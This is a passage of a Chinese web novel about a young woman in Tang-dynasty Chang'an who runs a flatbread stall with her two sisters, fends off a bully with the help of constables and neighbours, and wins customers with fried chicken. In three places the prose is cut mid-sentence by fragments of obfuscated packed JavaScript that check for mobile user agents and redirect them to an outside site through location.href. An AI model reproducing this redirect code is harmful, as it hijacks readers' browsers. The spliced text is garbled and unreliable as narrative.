荷叶包裹下,饼身金黄酥脆,表面撒着胡麻,鲜绿的白苣和灿金色的荷包蛋相互映衬,热气蒸腾间散发出诱人的香气。 他原本不饿,但瞧见这色彩鲜明的饼子也不由得口舌生津,咬下一口,顿时满口生香。 饼皮酥脆,饼芯柔软的同时又不失嚼劲,酱料咸香适中,香味浸透了每一道缝隙,新鲜的菜蔬和煎得焦香的荷包蛋更是增添了别样风味,配着脆爽可口的萝卜丁,竟比许多珍馐吃来还要令人身心舒畅。 谢宵由衷赞道:“确实不错。” “是吧二郎!”青松连连应道,“饼子、酱料、荷包蛋和菜蔬,包括那腌菜萝卜丁,每样都叫人赞不绝口!怪不得那崔娘子的生意好呢,只出摊一次便已风靡整个长安城……” 听着耳边书童的叨叨絮语,谢宵慢条斯理地享用着自己的朝食,目光不自觉地又飘向那柳树下的小小酱饼摊。 那煎饼女郎约莫十八*九岁年纪,身穿一件普通的青色襦裙,腰间系着素色围裙,正神色认真地往一张饼子上刷酱。 一缕碎发从她绾起的发髻中滑落,垂在颊边,随着她的动作轻轻晃动。晨光洒在她身上,为她镀上一层柔和的金边。 谢宵忽然觉得手中的饼更加美味了几分。 他见过许多精工细作的点心糕饼,却从未有一道食物能像这样,让他感受到制作者的用心,仿佛将全部心意都倾注在一张方寸的酱饼之中。 他还记得自己第一次见对方时的情形。 永安渠旁,他把人从河里救上来后第一时间查看她的情况,那时的她仿佛一片沾水栀子,随时都会被风吹走。 如今看来,她已经不会再为其他事感到烦忧了,这样很好。 崔记酱香饼……原来是崔小娘子。 但愿她越来越好。 谢宵放下车帘,吩咐道:“青松,走吧。” 20. 无赖搞事 晨鼓未响,崔家姐妹三人已在院内各有各的忙碌。 崔时钰在灶间将醒了半宿的面团摔打得啪啪作响,阿锦蹲在灶前添柴,火光将她那张总是不苟言笑的小脸映照得暖意融融;远处,阿宁用牙刷沾着牙粉刷牙的声音轻快地传了过来。 唐朝的牙粉与后世牙膏功效相仿,都是用来清洁牙齿的家用之物,多以中药和香料为原料。崔家的牙粉是用青盐混合着几种便宜草药的粉末,很是粗糙,使用效果也一般。 此时天气尚未回暖,但已有生命力顽强的野菜从地里萌发出来,在第一株野菜冒头之时,崔时钰便采了几株薄荷,将其晒干研磨后混入牙粉。 本朝人尚未认识到薄荷有良好的清新口气功效,是以这种清新的薄荷牙粉一经使用,便让两个妹妹顿觉新奇,赞不绝口。 阿锦亲口认证“刷完牙后嘴巴里香香的”,就连阿宁也对刷牙没那么抗拒了——崔时钰算是发现了,小孩子对于刷牙这事儿似乎有种与生俱来的抗拒,不分今古。 关于牙粉,她还有更多想改进的,比如,等到槐树开花结籽后将槐树花槐树籽加入牙粉,这东西在现代被证实有消炎抗菌的作用,能预防牙龈炎症;再比如,用猪、羊等动物骨头制成骨粉,里面含有的钙磷等成分能坚固牙齿——这是她受了现代骨粉牙膏的启发。 想做的事还有很多,不过当务之急是先烙好今日的一百五十张饼子。 出摊首日,崔时钰只备了五十张饼子,不到半个时辰便销售一空,转天她又备一百张,同样一个多时辰便卖得一干二净,她大受鼓舞,于是再转天一口气准备了二百张饼子。 问题出现了。 倒不是酱饼卖不出去,食客们巴不得她整个上午都在西市摆摊才好,哪里会嫌她卖的饼子多呢? 问题并不在于卖不出去,而是活儿太多忙不过来:想要做出二百张饼子,意味着崔时钰不到寅时,即凌晨两点就要起床,这还不包括煎荷包蛋的时间。 她一个人早起便也算了,但妹妹们还在长身体,崔时钰不想影响她们。 四点多起床已经是极限了。 她删删减减,试验数次,最终把饼子定在了“一百五十”这一数量,既能卖出个好销量,又不会过于辛苦。 一切准备就绪,将保温食盒放进推车时,天边正好泛起鱼肚白。 姐妹三人推着推车穿过坊门,车上饼铛、食盒、酱料罐子相互轻撞,叮当作响,像支晨曲。 “阿姊,今日咱们的面醒得正好,烙出来的饼香极了。”崔时锦回忆着醒好的白胖发胀的面团,手指戳下去便是一个不会回弹的小坑,很是有趣。 崔时钰听了便逗她:“昨日的饼子不香吗?” 和天真烂漫的小妹阿宁不同,她这个二妹有着与年龄不符的成熟,一张英气小脸总一板一眼,让她很忍不住想要逗上一逗。 “阿姊哪里的话。”崔时锦有些赧然,“阿姊做的饼子没有不香的。” 她说着拍了拍腰间鼓囊囊的荷包,里头铜钱相撞的声响让阿宁眼睛一亮。 “好多钱呀!”阿宁拍着手,怕被人听到,只小声地欢呼雀跃。 之前那个只能装下几百铜钱的扑满早就满了,但还没摔,被崔时钰存放在柜子里,只等需要时再取用。 崔时钰没有再添置新扑满,把物件装满再摔碎的过程总让她觉得有些浪费,姐妹三人现在用来装钱的工具就是一个布袋,简单方便,容量还大。 不过布袋子里的铜钱也快装满了,崔时钰预备着这两天就去柜坊或金银铺子把铜钱换成银两。 银子,白花花的银子……拿在手里该有多舒坦! 想着白花花的银子,崔时钰越发富有动力,一路大步流星来到集市,却在看清面前景象时猛地刹住脚步。 她们惯常摆摊的柳树下支起一个陌生的炉子,竟卖的也是酱香饼! 一个穿褐色短打的驴脸汉子正往炉膛里塞柴火,见她们来了,故意把水瓢往她们常摆的条石上一搁。 再糊涂的人都能看出是怎么回事了。 崔时钰冷静下来,将推车停稳,自己走到那驴脸汉子跟前,冷声道:“这位郎君,此处是我们姊妹三人摆了半月的位置。” 马六斜眼瞥见车上“崔记酱香饼”的招牌,不屑地哼了一声,“西市规矩,先到先得。” 他抡起铁钳敲打炉壁,火星子差点溅到阿宁裙角,吓得小姑娘往后一跳。 阿锦先骂:“你不讲道理!” 担心妹妹被这人发作,崔时钰赶忙上前将两个妹妹护到身后,回过身来,正要撸起袖子和那汉子理论,突然听一女声道:“见人家卖酱香饼生意好,你便来鸠占鹊巢,马六你害不害臊?” 她转头看去。 这妇人人称柳七娘,挨着崔时钰摆摊贩酒,边喝边卖,摊子上常摆着些清酒、松醪春、竹叶青之类的酒坛子。 崔时钰初次见她时曾有心搭话,奈何对方当时许是喝猛了,正与人当街对骂,且大有把整条街上所有人都骂一遍的架势,崔时钰只好知难而退。 她没想到,两人第一次产生交流会是在这种情况之下。 那叫马六的汉子没想到柳七娘会突然向他发难,张了张嘴:“你……” 还没说完,对面牛乳摊子的方九娘也提着陶罐走过来,乳香混着身上茉莉油的味道,和她的话一同飘入众人耳中:“街坊们谁不知道这柳树荫是崔家姊妹的?有些人最好自重。” 与柳七娘情况不同,崔时钰和这位方九娘搭过几次话,还算相熟,大概知晓对方的一些情况:她男人养牛,她卖牛乳,膝下有一子,和阿宁差不多大,小名伍儿。 伍儿生得白嫩,性子安静,没寻常小男孩那样淘气,乍一看倒有点像个小女孩,这会儿正扒着阿娘的衣袖,怯生生地瞧着面前发生的一切。 被几个妇人职责,马六自觉颜面无光,脸上横肉一抖,突然抄起铁钳往条石上一砸,扯着嗓子嚷:“少跟老子扯什么先来后到!我到了就是我的!” 动静太大,几个常买酱香饼的食客闻声聚拢。 “哪来的冒牌货?赶紧给崔娘子腾地方!” “好不容易来早一次,别耽误我吃酱香饼。” “就是就是,要脸的话就快点走人!” “……” 然而他们还是低估了此人的脸皮厚度,驴脸汉子依旧我行我素,往摊子上一立,就是不走。 有这么多人向着她,没什么好怕的。 崔时钰朝方才为她说话的柳七娘、方九娘等人颔首致谢,不卑不亢对驴脸汉子道:“郎君如此行事,武侯铺的鼓楼可都瞧着呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610578|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >武侯铺相当于后世的派出所,武侯们就是片警,专管坊内大事小情,之前这些人连着在她儿买了好几日饼子,今日对半也会路过此处。 马六叉腰大笑:“武侯铺?那群人此刻怕还在……” 一道清朗男声截断他的话头:“在巡西市。” 武长青按着腰刀转出巷口,他身后的李二和钱四正拿铁链子缠在手上玩,那表情莫名让崔时钰想起四个大字:你爹来了。 没想到收他的人这么快就来了,马六顿时矮了半截,脸上横肉抽搐着堆出一个谄媚的笑:“武铺正今日怎么来了?” 他听闻近日卖得红火的饼摊摊主娘子是名孤女,除了两个幼妹便再无其他亲人,于是便起了歪心思,想着对方看他人高马大定会知难而退乖乖走人,没想到帮她说话的人这么多,甚至还惊动了武侯,真是偷鸡不成反蚀把米! 武长青面无表情:“只听说西市今日新来了个卖饼的,没想到还兼营占人摊子的买卖。” 他说话时眼睛看着那驴脸汉子东施效颦的饼摊,眉头皱得仿佛能夹死蚊子。 马六的喉结上下滚动了一下,“都是误会,武铺正,都是误会!” 武长青突然提高声量,“带着你的炉子老实回去,再让我看见你踏进西市——”边说边亮出腰刀,答案不言而喻。 一阵叮叮咣咣,驴脸汉子推着饼车仓皇而逃,不到半盏茶工夫,柳树下就只剩下几块焦黑的柴火印。 见事情平息,大家纷纷各回各处,崔时钰再次拉着妹妹向众人道谢,特别是柳七娘和方九娘。 还有突然从天而降的武长青。 因对方之前没少来买饼,崔时钰早已识得这张脸,再加上方才听那驴脸汉子称呼这人为武铺正,福身谢道:“多谢武铺正出手相助,儿与妹妹们感激不尽。” 铺正……大概就是武侯头子的意思?懂了,派出所所长! “小娘子不必多礼。”武长青抿了抿唇,“也不必忧心,某定嘱咐武侯们巡街时多留意此处。” 这句话就相当于“你这个小摊我罩了”。 眼瞅再不用担心治安问题,崔时钰心里乐开了花,笑着对武长青说:“多谢武铺正。武铺正稍待,今日请您尝尝双蛋酱香饼。” “那便有劳小娘子了。” 饼铛烧热,崔时钰麻利地从保温食盒里扯出一张饼子,摊在抹了油的铛上。 待饼皮微黄,她舀了一大勺辣酱抹开——这位派出所所长最喜辣酱口味,被热气一激,酱香辣味儿很快弥漫开来。 尽管已经闻过这味道许多次,但每次武长青都忍不住在心里感叹:好香。 他不自觉地往前凑了半步,又不动声色退回,耳根微微发红。 饼子做好,崔时钰将两个荷包蛋放上去,铺生菜,撒萝卜丁和葱花,对折裹进干荷叶:“武铺正慢用,小心烫。” 多加一颗蛋的酱香饼沉甸甸的,面前女郎对自己的称呼也从“客官”变成了“武铺正”。 武长青接过还烫手的饼包,心头暖洋洋的,温声道:“多谢小娘子,待我回去,定要向其他人推介小娘子的饼摊。” 崔时钰眼睛一亮。 推荐她的酱香饼?在武侯铺? 广告位这不就来了! 她抬眸莞尔一笑:“那便多谢武铺正了。” 21. 脆炸鸡排 钱四揣着刚买回来的热腾腾的酱香饼回了武侯铺。 一路上,那股勾魂的香味直往鼻子钻,钱四忍不住深吸一口气,肚子立刻咕噜噜叫起来。 不愿独自享受这甜蜜的烦恼,他贱兮兮地捅了捅身旁的同僚,“李二,你闻到了没?” 李二闻言翻了个白眼:“废话,这么香,谁闻不到?” “话说起来,那崔娘子做的饼子真是一绝啊!昨儿个刘二那厮为了抢最后一张加蛋的饼子,差点跟王五打起来。” 自打武长青向武侯铺这帮人推荐了崔记酱香饼之后,这些武侯的朝食便再没吃过旁的东西——武铺正素来沉默寡言,甚少和其他人有正事以外的交流,这次居然破天荒举荐了一家名不见经传的小饼摊! 武侯们早已苦简陋的朝食久矣,又抱着几分想要讨好铺正的心思,于是纷纷前去购买,谁知这一买便停不下来了。 这酱香热饼是真香啊!买回来配着粥吃,连以往觉得稀汤寡水的粟米粥都香甜几分——至于那干巴巴的胡饼,谁还瞧得上眼?就连从前还能凑合扒拉几口的腌酱菜,都被饼子里面的萝卜丁比得渣都不剩。 想着饼子可口的味道,钱四舔了舔嘴唇,又回想起那个柳树下冒着热气的小饼摊。 因着职业关系,武侯们比寻常百姓的起床时间更早,按理说很是利于排队,可饶是如此,他们一行人来到西市时就见那小饼摊前已经排起长队,最前面那个穿绸衫的胖子甚至已经开始要第四张饼了。 “快排队快排队!”当时他急不可耐地推着同僚,“再排晚一会儿饼子就卖光了!” 武侯铺里十几个汉子早就按捺不住,一窝蜂地冲向那个不起眼的小摊。 钱四跑得最快,排在头一个,没过多久便轮到他,豪爽地拍出早已准备好的七文钱。 “小娘子,我要一套加鸡脯的饼子,多刷辣酱!” 崔记酱香饼目前推出了五种口味,只刷酱的素饼、加菜、加蛋、菜蛋都加,还有这两日新出的加炸鸡脯的饼,和“梅香映雪”“金玉满堂”一样,也起了个好听的名字,叫做“玉酥屑金”。 钱四饭量大,喜辣,从前最爱刷辣酱的菜蛋都加的饼子,如今新欢变成了这“玉酥屑金”。比他手掌还大的鸡排铺满整块叠好的饼子,咬一口,外酥里嫩,酱香浓郁,简直是人间美味。 因是唯一一道肉食,不加菜不加蛋,只加炸鸡脯就要七文一套,是所有口味当中最贵的,但钱四觉得这笔钱花得很值,谁让崔小娘子将这鸡脯炸得实在好吃呢? 他相信绝对不只他一个人愿意花这笔钱。 就在他胡思乱想这段时间,摊后的崔娘子已将面饼热好、鸡脯炸好,正在刷酱。她头也不抬,手上的动作快得让人眼花缭乱。 钱四看得眼睛都直了。 那辣酱红得发亮,刷在饼上红彤彤的,极有食欲,配上刚煎出来的金黄酥脆的鸡脯,再撒上一把翠绿的葱花,一折一卷,香气扑鼻。 ——现在也直往他鼻子里钻呢。 饥肠辘辘地回到武侯铺,顾不上去公厨,钱四拉着李二直接往外面的门槛一坐,从怀里掏出还温热的酱香饼,张嘴就是一大口。 辣酱的辛香先冲上脑门,紧接着是炸得外酥里嫩、满口是肉的鸡脯,咬下去能听见脆皮碎裂的声音,肉汁混着酱料在舌尖炸开,钱四幸福得快要翻白眼。 他边吃边嘟囔:“这鸡脯真是绝了!外面脆里面嫩,真不知那崔小娘子是用什么料腌的,火候也炸得刚刚好,真是太了不得了!” “唔唔唔!”李二咬着饼子,回答得含糊不清,但显然对这番话很是赞同。 武侯铺的其他人也都陆续买好饼子回来了,一时间,整个公厨加上外院里都是咔嚓咔嚓的咀嚼声和此起彼伏的赞叹:刘二捧着加蛋的饼吃得满嘴流油,连声说比于酒酒楼酒席上的菜还香;王五更夸张,把掉在袖子上的胡麻粒都舔干净了。 钱四吃得正欢,没过多久,忽然觉得四周的嘈杂声像被刀切断了似的,瞬间安静下来。 他茫然回头,嘴里的饼渣差点喷出来。 只见一队身着绛色公服的差役正肃立门口,为首的男子头戴乌纱幞头,身着深紫色圆领官袍,腰间金带在晨光中闪闪发亮。 那张冷峻威严的脸,长安城谁人不识? 李二第一个反应过来:“谢、谢府尹!” 整个武侯铺的人瞬间起身,手忙脚乱地行礼。 钱四慌忙把剩下的饼塞进怀里,结果酱汁渗出,在衣襟上洇开一片红渍。 他连连叫坏:早知今日不让崔娘子刷那么多辣酱了! 他偷偷瞧着京兆尹谢珏,除了琢磨对方今日为何突然造访外,还想起了另一件无人不知、无人不晓的事。 几年前,户部李侍郎贪污赈灾粮款,证据确凿却仍狡辩,在朝堂上涕泪横流,声称有人构陷,甚至搬出背后靠山当朝右相。 众臣噤声,无人敢言,唯有谢珏据理力争,举出关键证据,这才将李侍郎等人一网打尽。 那之后,这位年轻的京兆府尹名声大噪,再无人对他年纪轻轻便执掌京兆府有半分微词。 虽然谢珏此人看起来颇为不苟言笑,在朝堂上亦有雷霆手段,私底下却非常疼爱娘子。尽管两人成婚多年仍膝下无子,谢珏依然待娘子如初,与妻子郁夫人是长安城的一段佳话。 此外,谢珏还有个胞弟,名叫谢宵,字承安,于国子监广文馆修业,同样可以想见将来必定大有所为。 说起这位谢小郎君,在长安城中也是颇有美名,年方弱冠便以才学闻名长安,自入广文馆以来,每逢季考总是名列前茅,所作策论常被博士们传阅示众。 去岁冬试,他的一篇文章竟引得国子祭酒亲自批注“理正辞达”,自此名声更盛,如今东西二市的书肆里,常有举子争相中秋求购他平日习作的抄本。 这般才名,莫说是在广文馆中独步一时,便是放眼今年报考进士科的千余名举子,也称得上是凤毛麟角了。 一言以蔽之:陈郡谢氏,名门清流。 ——所以谁能来告诉他,京兆尹大人一大清早来他们这小小武侯铺干啥来了? 谢珏负手而立,冷峻目光缓缓扫过众人,声音低沉:“昨夜永兴坊有贼人纵火未遂,武侯铺可有异常禀报?” 武长青上前恭敬道:“回府尹,昨夜卑职带人彻夜巡防,已将可疑之人悉数拿下。” 谢珏微微颔首,目光却忽然落在钱四身上,过了片刻,缓步向他走来。 官靴踏在石板上的声音清晰可闻,钱四浑身一僵,手都不知往哪儿放了,脑子里疯狂回想自己最近有没有渎职行为。 是上个月偷懒少巡了半条街,还是前天收了个卖胡饼的老头两文钱没上报? 这么点事至于惊动府尹大人吗! 正当他胡思乱想之际,脚步声在他面前停下了。 钱四盯着眼前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629130|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双墨色官靴,心跳快得要蹦出嗓子眼。 结果对方看着他的领口发问:“你方才吃的是何物?” 声音微冷,钱四一时没反应过来是在问自己,直到被李二在底下偷偷踹了一脚,这才结结巴巴地说,“回府尹话,是……是酱香饼。” “味道如何?” 啊? 钱四抬头,对上对方深不见底的眼睛,这位以铁面著称的京兆尹大人脸上看不出半点情绪,但钱四分明看见他的喉结动了动。 府尹大人在问他酱香饼好不好吃诶——别人都没问,就问他! “好吃!”钱四一激动,把话匣子打开了,“加了炸鸡脯的最香!那鸡脯一尝便知是用香料腌足了时辰,炸得外酥里嫩。饼皮也好,外面微脆,里头暄软,刷上秘制辣酱,味道美极了!” 他说得眉飞色舞,突然意识到自己在跟谁说话,声音戛然而止。 完了……他是不是有点话太多了? 偏头去看李二,对方也是一脸的不忍直视。 谢珏却不以为意,神色自若,说了句“叨扰了”便大步离去。 武长青亲自出门相送。 钱四自然也随着其他武侯跟上去,看着对方的背影,半晌才回过神来。 所以……京兆尹大人,是也想吃酱香饼吗? * 与此同时,长乐坊南的小院里,崔时钰正预备着炸鸡排。 这鸡排是她特意留下来的,作为自己和妹妹们的午食,已经用刀背砸得薄厚均匀,又用盐、花椒粉、酱油和一小撮孜然腌渍入味,每寸肌理都吸饱了滋味,只等下锅油炸。 油锅已经烧热,估摸着时候差不多了,崔时钰拎起一片鸡肉,在面糊里滚过,滑进锅内。 入锅瞬间,只听“滋啦”一声,金黄的油花瞬间欢快翻涌起来。 不过片刻,那片鸡肉就脱胎换骨,披上了金黄酥脆的外衣,用长筷子夹起来,油脂顺着焦壳滴落,炸物的香气在小小的庖厨里横行霸道。 崔时钰掰了一小块放进嘴里。 鸡排甫一入口,外壳应声而裂,咸香鲜美的肉汁立刻涌出,香料的味道锦上添花,不仅不会抢了鸡肉本身的香味,还增添了几分独特的香气。 崔时钰满足地眯起眼睛,忍不住有点小骄傲:这脆炸鸡排味道的确很好嘛,难怪一经推出便广受追捧。 几日前,眼瞅着酱香饼的销路已经打开,崔时钰便想着给酱香饼进行升级,仿照后世的“大饼加一切”,添些其他食材来丰富口感和营养,比如火腿、培根、烤肠什么的。 她最先想到的是猪肉肠,一来猪肉价格便宜成本低,二来味道也好,是十分合适的酱饼升级食材,然而仔细一想又觉得不太妥当:光是给猪肉去腥那三个步骤就要花费不少工夫了,更别提将猪肉切成肉糜再灌进肠衣做成肉肠,要花费的时间太多了,不成不成。 对于现在的她来说,时间就是金钱。 思来想去,崔时钰把目光盯上了鸡胸脯肉,裹了面糊下锅一炸,不就成了香喷喷的鸡排了吗?正适合夹在饼里。 她一拍脑门,当即去高老汉那里订购了十斤鸡胸脯肉,依旧是早起提前做出来,拿到小摊上再进行第二次复煎,这样不仅省时,做出来的炸鸡排还更脆更香了。 炸鸡排的反响很是不错,想起今早火急火燎排队的钱四和李二,崔时钰嘴角不自觉地上扬。 看来明日还得多准备些鸡排才是! 22. 饼子风波 “阿茹,别在这里闹好不好?” 清明渠旁,碧水潺潺,垂柳依依,偶有飞鸟掠过水面激起一圈涟漪,本是一片大好风景,却有一对年轻男女在此吵架,硬生生破坏了雅静氛围。 作为吵架的主人公之一,程同的声音虽还软着,但面上已隐隐泛起不耐烦的神色,耐着性子道:“回去之后,你想吃什么我都给你买。” “我就想吃那饼子!”袁四娘红着眼眶看着面前男子,手中的绣帕都绞成了麻花,“你不是说什么都给我买吗?那我就想吃个饼子,你为何不给我买?” 闻言,程同的脸色更沉了。 ——就算是将他打死,他也不能将“那饼摊是我从前的未婚妻开的”这件事告诉阿茹啊! 若是阿茹知晓此事,必定会追问到底,到时引来诸多事端,那可就不好收场了。 程同越想越烦。 当初他对崔时钰说出那句“阿钰若寻得做屠豕杀鸡生意的门当户对之人,可当嫁了”,原本是想着她们姊妹三人在长安城中开销颇大,对方听到这话必定羞愧难当,正好借此机会离开长安城,找个乡下庄子过日子。 他自觉这是为了她好,青梅竹马一场,如此倒也不算辜负往日情谊。 当然,程同心中的确是这样想的:以崔时钰的家境和出身,难道不是与做屠豕杀鸡生意之人门当户对?她早已配不上日后必定飞黄腾达的自己了。 然而谁能想到,崔时钰落水被人救上来后,不仅没像他想象中那样离开长安城,反而弃绣从食摆了个小饼摊,生意还一天比一天红火。 真是叫他有苦难言。 长安城虽大,但日后难免低头不见抬头见,这叫他如何自处,为瞒住阿茹又得花费多少心思? 程同越想越是窝火,在被袁四娘觉察之前迅速调整好表情,摆出笑容说道:“那饼摊主人手艺虽好,但阿茹你身为官宦人家的贵女,怎能吃这种街边小吃,岂非有失身份?我这也是为你着想。” 尽管口口声声为袁四娘考虑,程同却并非发自内心喜欢她。 袁四娘的父亲是负责军器监文书事务的军器监主簿,区区八品文职小官,程同自然瞧不上眼,他瞧上的是袁四娘从事盐业的母家——家产丰厚,未来能助他一臂之力。 正因需要这份助力,程同面对袁四娘是五分温柔五分讨好,十分的耐心全给了这一个人,若非袁四娘今日突然提起酱香饼的事,他是断不会和对方吵架的。 话说回来,袁四娘与崔时钰这两个人中,程同还是更喜欢温柔小意的崔时钰——袁四娘是从小娇养长大的千金,性子泼辣,他着实不喜。 但为了自己想要的东西,他愿意暂时忍气吞声。 男子汉大丈夫,能屈能伸嘛。 似乎是终于被他说服,袁四娘转了转眼珠,以帕掩唇,答应道:“罢了,区区一个饼子,不吃便不吃了。” 听到这话,程同的眼角眉梢终于染上喜悦,动作温柔地牵过袁四娘的纤纤玉手:“阿茹莫要将此事放在心上,我去寻些更好的吃食来,于记酒楼的桂花糕如何?” 袁四娘点点头,在程同看不到的地方,嘴角却悄悄翘了起来。 她早就打听好了,那饼摊娘子每日清晨都在西市拐角处的一棵柳树旁准时出摊。 她自己去买不就是了? * 清早的晨光刚漫上坊市屋檐,崔时钰的小摊前便已排起长队。 除了武侯铺那些老顾客,今日排队的还有另一位熟人,冶坊的林冶工。 崔时钰很喜欢招待他,因为—— “有劳崔小娘子,还是老规矩,三蛋三菜,再加三块炸鸡脯。” 林冶工是个大胃王! 许是每日在冶铺做工体力格外消耗大,林冶工的饭量差不多是其他人的两三倍,寻常食客要么点一份加菜加蛋的饼,要么点一份加炸鸡排和饼,林冶工则是“我全都要”。 不仅要,还要三份。 崔时钰不露痕迹瞄着对方硕大的块头,暗想:吃这么多东西,人家长不高谁长得高? 她从保温适合里挨个取出饼子荷包蛋炸鸡排,分别放到热好的饼铛上复炸复热。 这一套大胃王套餐价格肯定超出二十文,但当初订做手推车时林冶工没少给她打折,做人要懂得知恩图报、你来我往,是以崔时钰也给对方打了个折,只取整收二十文。 林铁山将二十文铜钱递给崔时锦,小姑娘见着比自己块头大了好几倍的人也不害怕,气定神闲地说了句:“林冶工慢走。” 再看那当吉祥物的崔家小妹,边啃饼子边朝他挥手呢。 林铁山就笑:“崔家三个小娘子,个个都是人物!” 崔时钰也笑,把用两张干荷叶包好的巨无霸饼子递过去,无意中瞥见队伍后头有个戴着帷帽的女郎,正好奇地左右张望。 这名女郎生得十分娇小,偏生方才还被大块头林冶工挡着,崔时钰差点以为他身后没人。 女郎往前走了两步,目光在面前的摊子前巡视一圈,想到方才听到的“翠玉生香”“玉酥屑金”等吆喝,伸出纤细手指一指:“我要那个‘金堂满玉’!” 听到她说错了,崔时钰也并未纠正,只笑笑说:“小娘子是头一次来吧?稍等片刻,马上就好。” 袁四娘“嗯”了一声,踮着脚说:“最好快一点哦,我不想等太久。”她这趟可是偷偷来的。 “小娘子请放心。”崔时钰手上动作不停,抬头问,“小娘子吃辣不吃?” 袁四娘思忖片刻,朗声回答:“吃!” 其实她很少吃辣,但好不容易得到放纵的机会,当然要做些平常没做过的事。 “好。”崔时钰应一声,继续忙活了。 面饼上铛的瞬间,袁四娘忍不住偷偷掀开帷帽一角。 她瞧见煎成金黄色的荷包蛋铺在饼子上,刷上了红艳艳的辣酱,翠绿的白苣和鲜脆的萝卜丁被一股脑儿卷进去,又撒上了葱花和胡麻……那香气冲得她肚子不争气地叫了一声。 奇也怪哉!明明出门前是吃了东西的呀。 正奇怪着,那崔娘子已将饼子递了过来:“小娘子尝尝。” 估摸着是为方便她待会儿吃,那递过来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633687|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼子荷叶口还半敞着。为了这心心念念的饼子,袁四娘已等待多时,接过来便咬了大一口。 咬下去的瞬间她就被惊艳了——外酥里软,油润的蛋香混着清新的菜蔬,最妙的是那辣酱,又香又辣,和她从前吃过的都不一样,辣得舌尖发麻都不舍得停下,直叫她不顾形象地连吃好几大口。 袁四娘吃得脸颊鼓鼓的,眼睛亮得惊人,边吃边说:“太好吃了!这蛋怎么这么嫩,辣酱怎么这么香……崔娘子,你莫不是会什么仙法?” 崔时钰被她逗笑了,心想她要是会仙法就好了,变个点石成金的法术,就不必在这儿辛苦给铺子赚装修费了。 她忍不住温声提醒:“小娘子慢点吃,别噎着。” * 广文馆。 内院的一棵槐树下,徐佑贤捧着荷叶饼包吃得满嘴油光,操着生硬的长安话道:“承安,若渊,这个饼好好吃哦!” 大唐盛世经济发达,文化、政治制度、科学技术都处于领先水平,周边国家仰慕唐朝文明,纷纷派遣学生留学长安。 徐佑贤便是来自高丽的留学生。 他身穿一袭淡青色圆领襕衫,下*身搭配一条同色长裤,束起的裤脚露出脚踝处的白色裹腿;头上戴一顶黑色幞头,系带在脑后轻轻垂下,正随着他啃饼子的动作微微晃动。 若是忽略衣领上沾染的几点酱汁,这身常见的学子打扮也算清爽干净。 因是外籍人员,徐佑贤对长安城的一切都很是新奇,特别是在吃食方面——唐朝的食物可比他们高丽美味多了! 自打留学过来,他这张嘴就没停下过,如今得了这酱香热饼,更是如获至宝一般爱不释口。 一旁的顾书砚为了更好地听清他们的谈话,伸手拨了拨耳上的竹耳,赞同道:“确实绝妙,蛋香与面香交融,白苣和萝卜丁有如神来之笔,让饼子的滋味更上一层楼。”说着又咬一口,满足地眯起眼。 顾书砚有轻微的听力障碍,竹耳便是辅助他听音的装置——形状类似竹筒,用象牙精细打磨制作而成,使用时将窄口端贴近耳朵,宽口端朝向声音来源方向,这样就能够听清声音了。 从小到大,顾书砚一直佩戴这东西,早已习惯。 广文馆是国子监下辖学校之一,与国子学、太学、四门学等并列,招收的学生非官即宦,顾书砚的家世在众多世家子弟中实在排不上号,自己耳朵又有毛病,很是不受待见。 唯有谢宵不介意他的出身,愿意和他做朋友。 ——至于徐佑贤为何愿意与他做朋友,大概是因为对方是个笨蛋。 谢宵看着两人狼吞虎咽的样子,唇角微扬,慢条斯理道:“我早吃过了。” “什么?!”徐佑贤差点跳起来,“有这等美味,承安你怎么不早告诉我们?” 顾书砚推了推竹耳,同样发来谴责:“就是,承安你若是早些告诉我们,我们也不必在公厨啃胡饼了。“ 谢宵笑而不语,想起那日清晨,自己在马车上看到的,那位崔娘子为他做饼子时的专注神情。 他不懂自己为何会如此想念。 23. 菌菇素面 崔时钰正在院里拾掇菌子。 今日营业额颇高,竟足足有四百多文,可把她高兴坏了,傍晚采购时特意从蔡记菜蔬铺子买了些菌子,除了常见的木耳草菇,还买了松菌和羊肚菌。 此时菌菇已登上唐人们的餐桌,无论王公贵族还是平民百姓都很喜欢,还有诗人曾云:“成福僧留不拟归,猕猴菌嫩豆苗肌。”受欢迎程度由此可见一斑。 羊肚菌和松菌都不是常见的菌子,价格不菲,若非伞盖有些蔫巴而因此打了折,崔时钰未必会舍得买——银钱尚未赚够,小崔仍需努力。 虽然菌子伞盖有些皱皱巴巴不太美观,但味道并不受很大影响,趁两个妹妹和隔壁娇娇出门玩耍,崔时钰将买来的菌子分成两批,一批等着做待会儿要吃的菌菇面,另一批则用猪油炸成了菌油渣。 